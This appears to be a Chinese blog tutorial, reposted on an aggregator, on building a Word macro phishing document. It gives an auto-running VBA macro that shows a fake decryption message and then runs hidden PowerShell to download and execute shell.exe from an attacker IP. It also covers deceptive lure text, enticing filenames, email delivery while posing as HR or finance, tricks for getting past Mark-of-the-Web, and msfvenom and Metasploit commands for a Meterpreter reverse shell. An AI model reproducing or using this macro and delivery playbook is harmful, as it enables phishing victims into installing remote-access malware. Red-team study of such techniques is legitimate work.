当前位置: 首页 > news >正文

Office宏病毒钓鱼-打点突破

Office宏钓鱼

[攻击路径] / [利用流程] - 详细步骤:制作一个简单的Word宏钓鱼文档

  1. 步骤一:规划恶意宏功能 (Payload Design)

    • 目的: 决定宏执行后要达成的目标。为教学演示,我们设定一个简单的目标:弹出一个消息框,然后尝试从指定URL下载一个文件(真实攻击中会是恶意文件)。
    • 关键技术/工具: VBA编程知识。
    • 为何如此操作: 清晰的目标有助于编写简洁有效的宏代码。
  2. 步骤二:编写VBA宏代码

    • 目的: 将规划好的功能用VBA语言实现。

    • 操作:

      VBA

      ' 自动在文档打开时执行的宏
      Sub AutoOpen()MyMacroLogic
      End SubSub Document_Open()MyMacroLogic
      End SubFunction MyMacroLogic()MsgBox "正在解密文档内容,请稍候...", vbInformation, "系统提示"Dim strURL As StringDim strFilePath As StringDim shellApp As ObjectstrURL = "http://192.168.1.133/shell.exe"' 如果你使用了其他端口,例如8000,则URL应为 "http://192.168.1.133:8000/shell.exe"strFilePath = "C:\Users\Public\Downloads\shell.exe" ' 可以自定义保存路径和文件名' PowerShell命令Dim cmd As Stringcmd = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _"""(New-Object System.Net.WebClient).DownloadFile('""" & strURL & """', '""" & strFilePath & """'); " & _"Start-Process '""" & strFilePath & """'"""' 使用WScript.Shell执行命令 (更隐蔽) 或 Shell 函数On Error Resume Next ' 忽略可能发生的错误,避免宏中断Set shellApp = CreateObject("WScript.Shell")shellApp.Run cmd, 0, False ' 0表示隐藏窗口,False表示不等待命令完成Set shellApp = NothingOn Error GoTo 0 ' 恢复错误处理' MsgBox "文档内容解密成功!文档内容已可查看,如果未能查看请重新下载重复步骤!!。", vbInformation, "系统提示"
      End Function
    • 为何如此操作: AutoOpen()Document_Open() 会在用户启用宏后自动执行。代码中包含了社工提示、文件下载和执行(通过PowerShell)的逻辑。使用WScript.ShellRun方法并设置窗口隐藏可以增加隐蔽性。

  3. 步骤三:创建并嵌入宏到Office文档 (以Word为例)

    • 目的: 将写好的VBA代码放入Word文档中。
    • 操作:
      1. 打开Microsoft Word,创建一个新文档。
      2. 按下 Alt + F11 打开VBA编辑器。
      3. 在VBA编辑器的项目浏览器中,找到你的文档项目(通常名为 Project (Document1))。
      4. 右键点击 ThisDocument(或在“插入”菜单选择“模块”来创建一个新模块,推荐后者以保持ThisDocument干净),选择“插入” -> “模块”。
      5. 双击新创建的模块(如 Module1)或者 ThisDocument,在右侧的代码窗口中粘贴上述VBA代码。
      6. 关闭VBA编辑器。
    • 为何如此操作: 这是将宏代码与特定文档关联的标准方法。
  4. 步骤四:设计文档诱饵内容与保存

    • 目的: 制作文档的表面内容,诱使用户启用宏。
    • 操作:
      1. 在Word文档的可见区域,输入欺骗性文字,例如:
        • 一张模糊的图片,上方写着:“文档受保护,请点击‘启用内容’查看高清版本。”
        • 提示:“此文档由新版本Office创建,为确保兼容性并正确显示所有图表,请点击‘启用编辑’或‘启用内容’。”
        • 模仿系统错误信息,暗示需要启用宏来修复。
      2. 保存文档:点击“文件” -> “另存为”。在“保存类型”中,选择 “Word启用宏的文档 (*.docm)”。如果用Excel,则选择 “Excel启用宏的工作簿 (*.xlsm)”。给文档取一个诱人的文件名,如 年度财务报告预览.docm
    • 为何如此操作: 文档内容是社会工程学的核心,文件名和保存类型直接影响宏能否被执行。
  5. 步骤五:投递文档

    • 目的: 将制作好的带宏文档发送给目标。
    • 操作: 通常通过电子邮件附件发送。邮件正文也需要配合进行社会工程学,如伪装成HR、财务、领导或合作伙伴发送的紧急/重要文件。
    • 为何如此操作: 这是最常见的投递方式。
  6. 步骤六:受害者交互与宏执行 (模拟)

    • 目的: 受害者打开文档并被诱导启用宏。
    • 操作(受害者视角模拟):
      1. 受害者收到邮件,下载并打开.docm文件。
      2. Word显示安全警告:“宏已被禁用。” 以及你精心设计的诱饵内容。
      3. 如果社工成功,受害者点击“启用内容”。
      4. 此时,AutoOpen()Document_Open() 中的VBA代码开始执行。
    • 为何如此操作: 用户的这个点击动作是宏能否执行的关键。
  7. 步骤七:验证宏执行结果 (在你的测试环境中)

    • 目的: 确认宏是否按预期执行。
    • 操作:
      1. 检查是否弹出了第一个消息框。
      2. 检查你的测试Web服务器是否有来自受害机的下载请求 (payload.exe)。
      3. 检查在受害机上 C:\Users\Public\Downloads\ 目录下是否成功下载了 downloaded_payload.exe,并且该文件是否被尝试执行。
      4. 检查是否弹出了第二个消息框。
    • 为何如此操作: 验证攻击流程的每一步是否成功。

重要:2025年宏安全现状与提醒

  • 默认禁用(并有更多额外操作): 请务必记住,对于从互联网下载的Office文档(即带有Mark-of-the-Web标记的文件),现代Office版本(Microsoft 365 Apps for enterprise/business, Office LTSC 2021, Office 2021, Office 2019, Office 2016)会默认阻止VBA宏的运行,并且“启用内容”按钮的行为会改变,不再轻易允许用户启用。用户需要手动解除文件锁定(文件属性 -> 安全性 -> 解除锁定)或将文件放入“受信任位置”才能运行宏。
  • 红队适应: 攻击者会尝试通过社工手段诱导用户执行这些额外步骤,或者将宏文档打包在加密的ZIP文件(密码在邮件中提供)或ISO/IMG镜像文件中,以期绕过MOTW标记或邮件网关的初步扫描。
  • 内部威胁: 如果宏文档是在内网生成或被认为是来自“受信任来源”,则宏的执行限制可能会较宽松。

Office宏构建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Sub test()MsgBox ("TTTTTTTTT")
End Sub

打开文件自动执行

Sub Document_Open()test
End Sub
Sub AutoOpen()test
End Sub
Sub test()MsgBox ("TTTTTTT")
End Sub
MSF生成与监听

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -f exe > payload.exe

msfconsole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.133
set LPORT 4444
run

http://www.xdnf.cn/news/342775.html

相关文章:

  • ROS2基本操作1
  • js常用的数组遍历方式
  • HypotMAX7705771077157720HIPOT美国ASSOCIATEDRESEARCH耐压测试仪
  • 1分区 1-113 多线不起总线启
  • 使用pytorch保存和加载预训练的模型方法
  • Spring Boot 中 MongoDB @DBRef注解适用什么场景?
  • 深入理解软件测试覆盖率:从概念到实践
  • SpringBoot的自动配置和起步依赖原理
  • Java 文件监听与热更新机制封装
  • 【LeetCode 42】接雨水(单调栈、DP、双指针)
  • 日拱一卒 | RNA-seq数据质控(1)
  • ERC-20与ERC-721:区块链代币标准的双星解析
  • Spring MVC 中Model, ModelMap, ModelAndView 之间有什么关系和区别?
  • Spring AI Alibaba-04- Spring AI + RAG + ToolCalling 智能对话应用开发全流程
  • # 如何使用 PyQt5 创建一个简单的警报器控制界面
  • Linux基础(最常用基本命令)
  • 用kompose将docker-compose文件转换为K8S资源清单
  • WHAT - ahooks vs swr 请求
  • Qt获取CPU使用率及内存占用大小
  • 基于STM32、HAL库的CP2104 USB转UART收发器 驱动程序设计
  • Node.js 技术原理分析系列9——Node.js addon一文通
  • 【嵌入式面试高频知识点】-wifi相关
  • 钯铂贵金属分离回收树脂
  • 【写作格式】写论文时常见格式问题
  • sherpa-ncnn:Endpointing(断句规则)
  • 05_项目集成飞书预警
  • 浙大与哈佛联合开源图像编辑模型IC-Edit,实现高效、精准、快速的指令编辑~
  • 淘宝九宫格验证码识别
  • 【UltralyticsYolo11图像分类完整项目-02】onnx模型转engine格式+TensorRT版Gpu预测C++实现
  • 动态规划之两个数组的dp问题(最长公共子序列)